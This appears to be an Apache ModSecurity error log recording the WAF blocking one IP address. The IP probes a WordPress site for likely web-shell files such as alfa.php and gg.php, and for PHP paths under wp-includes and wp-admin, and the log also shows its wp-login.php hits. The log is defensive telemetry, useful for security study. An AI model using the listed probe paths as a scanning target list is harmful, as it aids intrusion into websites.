[Fri Dec 26 21:17:11.926829 2025] [:error] [pid 28270:tid 28335] [client 52.175.121.6:5953] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU6K119Ac79_ckdPN5JhZQAAAIY"]
[Fri Dec 26 21:17:13.569613 2025] [:error] [pid 7160:tid 7166] [client 52.175.121.6:5792] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU6K2ew_ihNZR5L8vEWQ5gAAAYM"]
[Fri Dec 26 21:17:15.256411 2025] [:error] [pid 28269:tid 28311] [client 52.175.121.6:5557] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aU6K253ZK8bJ-c9-kjOKcwAAAEk"]
[Fri Dec 26 21:17:17.505816 2025] [:error] [pid 7160:tid 7167] [client 52.175.121.6:6099] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU6K3ew_ihNZR5L8vEWQ8AAAAYQ"]
[Fri Dec 26 21:17:19.250037 2025] [:error] [pid 28268:tid 28283] [client 52.175.121.6:6452] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU6K33c_KuO_55-uPTS8jAAAAAg"]
[Fri Dec 26 21:17:20.907380 2025] [:error] [pid 28269:tid 28313] [client 52.175.121.6:1471] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU6K4J3ZK8bJ-c9-kjOKegAAAEs"]
[Fri Dec 26 21:17:22.599485 2025] [:error] [pid 28270:tid 28352] [client 52.175.121.6:5555] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aU6K4l9Ac79_ckdPN5JhcgAAAJc"]
[Fri Dec 26 21:17:25.863529 2025] [:error] [pid 7160:tid 7181] [client 52.175.121.6:2054] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU6K5ew_ihNZR5L8vEWQ-gAAAZI"]
[Fri Dec 26 21:17:27.135816 2025] [:error] [pid 7160:tid 7183] [client 52.175.121.6:7011] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU6K5-w_ihNZR5L8vEWQ-wAAAZQ"]
[Fri Dec 26 21:17:28.432064 2025] [:error] [pid 28269:tid 28304] [client 52.175.121.6:2067] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aU6K6J3ZK8bJ-c9-kjOKiQAAAEI"]
[Fri Dec 26 21:17:52.630191 2025] [:error] [pid 7160:tid 7177] [client 52.175.121.6:7006] [client 52.175.121.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.175.121.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU6LAOw_ihNZR5L8vEWRFAAAAY4"]
[Fri Dec 26 21:17:57.931879 2025] [:error] [pid 7160:tid 7185] [client 52.175.121.6:7006] [client 52.175.121.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.175.121.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU6LBew_ihNZR5L8vEWRHAAAAZY"]
[Fri Dec 26 21:18:03.222326 2025] [:error] [pid 28269:tid 28312] [client 52.175.121.6:7300] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aU6LC53ZK8bJ-c9-kjOK7AAAAEo"]
[Fri Dec 26 21:18:09.813850 2025] [:error] [pid 28269:tid 28325] [client 52.175.121.6:7023] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aU6LEZ3ZK8bJ-c9-kjOLEgAAAFc"]
[Fri Dec 26 21:18:20.325134 2025] [autoindex:error] [pid 7160:tid 7186] [client 52.175.121.6:7006] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 21:18:20.461145 2025] [:error] [pid 28355:tid 28375] [client 52.175.121.6:1105] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aU6LHLsFqKXf7ADZcTYkUwAAANI"]
[Fri Dec 26 21:18:30.374829 2025] [:error] [pid 28355:tid 28377] [client 52.175.121.6:3664] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aU6LJrsFqKXf7ADZcTYkXwAAANQ"]
[Fri Dec 26 21:18:39.340838 2025] [:error] [pid 28268:tid 28292] [client 52.175.121.6:1746] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aU6LL3c_KuO_55-uPTS81gAAABE"]
[Fri Dec 26 21:18:40.607597 2025] [:error] [pid 7160:tid 7167] [client 52.175.121.6:2636] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aU6LMOw_ihNZR5L8vEWRWgAAAYQ"]
[Fri Dec 26 21:18:41.421249 2025] [:error] [pid 34865:tid 34877] [client 52.175.121.6:4268] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aU6LMai4zjVVKBdvuTT2tQAAAUo"]
[Fri Dec 26 21:18:42.500091 2025] [:error] [pid 34865:tid 34884] [client 52.175.121.6:1770] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aU6LMqi4zjVVKBdvuTT2tgAAAVE"]
[Fri Dec 26 21:18:43.534983 2025] [:error] [pid 28268:tid 28298] [client 52.175.121.6:1382] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU6LM3c_KuO_55-uPTS83AAAABc"]
[Fri Dec 26 21:18:44.901379 2025] [:error] [pid 28269:tid 28303] [client 52.175.121.6:2638] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU6LNJ3ZK8bJ-c9-kjOLpQAAAEE"]
[Fri Dec 26 21:18:49.567463 2025] [:error] [pid 28269:tid 28312] [client 52.175.121.6:1364] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU6LOZ3ZK8bJ-c9-kjOLsQAAAEo"]
[Fri Dec 26 21:18:50.219131 2025] [:error] [pid 28269:tid 28317] [client 52.175.121.6:1774] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aU6LOp3ZK8bJ-c9-kjOLtgAAAE8"]
[Fri Dec 26 21:18:50.650733 2025] [:error] [pid 28355:tid 28357] [client 52.175.121.6:1387] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU6LOrsFqKXf7ADZcTYkawAAAMA"]
[Fri Dec 26 21:18:52.801811 2025] [:error] [pid 28268:tid 28288] [client 52.175.121.6:4457] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU6LPHc_KuO_55-uPTS83wAAAA0"]
[Fri Dec 26 21:18:55.405462 2025] [:error] [pid 34865:tid 34869] [client 52.175.121.6:2431] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU6LP6i4zjVVKBdvuTT2wgAAAUI"]
[Fri Dec 26 21:18:57.496248 2025] [:error] [pid 28270:tid 28342] [client 52.175.121.6:2668] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aU6LQV9Ac79_ckdPN5Jh0gAAAI0"]
[Fri Dec 26 21:18:59.750396 2025] [:error] [pid 15063:tid 15076] [client 52.175.121.6:2388] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aU6LQ-Dsf_aL46Jy7z8cEgAAAQs"]
[Fri Dec 26 21:19:03.764546 2025] [:error] [pid 7160:tid 7169] [client 52.175.121.6:2402] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aU6LR-w_ihNZR5L8vEWRfwAAAYY"]
[Fri Dec 26 21:19:04.726137 2025] [:error] [pid 34865:tid 34876] [client 52.175.121.6:2770] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aU6LSKi4zjVVKBdvuTT2yQAAAUk"]
[Fri Dec 26 21:19:07.267040 2025] [:error] [pid 28269:tid 28317] [client 52.175.121.6:5928] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aU6LS53ZK8bJ-c9-kjOL1wAAAE8"]
[Fri Dec 26 21:19:09.433064 2025] [:error] [pid 7160:tid 7170] [client 52.175.121.6:2761] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU6LTew_ihNZR5L8vEWRjwAAAYc"]
[Fri Dec 26 21:19:10.535201 2025] [:error] [pid 28268:tid 28275] [client 52.175.121.6:4411] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU6LTnc_KuO_55-uPTS89QAAAAA"]
[Fri Dec 26 21:19:11.337920 2025] [:error] [pid 28268:tid 28281] [client 52.175.121.6:6688] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU6LT3c_KuO_55-uPTS89wAAAAY"]
[Fri Dec 26 21:19:13.294873 2025] [:error] [pid 28355:tid 28358] [client 52.175.121.6:3926] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aU6LUbsFqKXf7ADZcTYkeQAAAME"]
[Fri Dec 26 21:19:15.163265 2025] [:error] [pid 28269:tid 28311] [client 52.175.121.6:4415] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU6LU53ZK8bJ-c9-kjOL6gAAAEk"]
[Fri Dec 26 21:19:17.030513 2025] [:error] [pid 28269:tid 28304] [client 52.175.121.6:6657] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU6LVZ3ZK8bJ-c9-kjOL7AAAAEI"]
[Fri Dec 26 21:19:20.349985 2025] [:error] [pid 28268:tid 28283] [client 52.175.121.6:4753] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU6LWHc_KuO_55-uPTS8_wAAAAg"]
[Fri Dec 26 21:19:22.647038 2025] [:error] [pid 15063:tid 15078] [client 52.175.121.6:5408] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aU6LWuDsf_aL46Jy7z8cJwAAAQ0"]
[Fri Dec 26 21:19:24.027964 2025] [:error] [pid 15063:tid 15070] [client 52.175.121.6:6679] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU6LXODsf_aL46Jy7z8cKAAAAQU"]
[Fri Dec 26 21:19:26.671979 2025] [:error] [pid 28268:tid 28276] [client 52.175.121.6:4752] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU6LXnc_KuO_55-uPTS9AgAAAAE"]
[Fri Dec 26 21:19:28.310092 2025] [:error] [pid 15063:tid 15076] [client 52.175.121.6:4767] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU6LYODsf_aL46Jy7z8cMQAAAQs"]
[Fri Dec 26 21:19:29.900021 2025] [:error] [pid 15063:tid 15075] [client 52.175.121.6:4199] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aU6LYeDsf_aL46Jy7z8cNAAAAQo"]
[Fri Dec 26 21:19:31.364653 2025] [:error] [pid 15063:tid 15070] [client 52.175.121.6:5884] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aU6LY-Dsf_aL46Jy7z8cNwAAAQU"]
[Fri Dec 26 21:19:34.943674 2025] [:error] [pid 28355:tid 28378] [client 52.175.121.6:5393] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aU6LZrsFqKXf7ADZcTYknAAAANU"]
[Fri Dec 26 21:19:46.527414 2025] [autoindex:error] [pid 34865:tid 34874] [client 52.175.121.6:3536] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Dec 26 21:20:06.832506 2025] [:error] [pid 28355:tid 28373] [client 52.175.121.6:4636] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aU6LhrsFqKXf7ADZcTYkyQAAANA"]
[Fri Dec 26 21:20:07.433237 2025] [:error] [pid 28269:tid 28303] [client 52.175.121.6:3282] [client 52.175.121.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aU6Lh53ZK8bJ-c9-kjOMJwAAAEE"]
[Fri Dec 26 21:20:26.370212 2025] [:error] [pid 28269:tid 28322] [client 52.175.121.6:6312] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU6Lmp3ZK8bJ-c9-kjOMUgAAAFQ"]
[Fri Dec 26 21:20:28.032933 2025] [:error] [pid 28268:tid 28291] [client 52.175.121.6:3149] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU6LnHc_KuO_55-uPTS9IgAAABA"]
[Fri Dec 26 21:20:29.797248 2025] [:error] [pid 34865:tid 34884] [client 52.175.121.6:1953] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU6Lnai4zjVVKBdvuTT3NAAAAVE"]
[Fri Dec 26 21:20:32.084350 2025] [:error] [pid 7160:tid 7173] [client 52.175.121.6:3192] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gg.php"] [unique_id "aU6LoOw_ihNZR5L8vEWR8gAAAYo"]
[Fri Dec 26 21:20:33.829509 2025] [:error] [pid 28355:tid 28357] [client 52.175.121.6:3074] [client 52.175.121.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we2.php"] [unique_id "aU6LobsFqKXf7ADZcTYk2QAAAMA"]
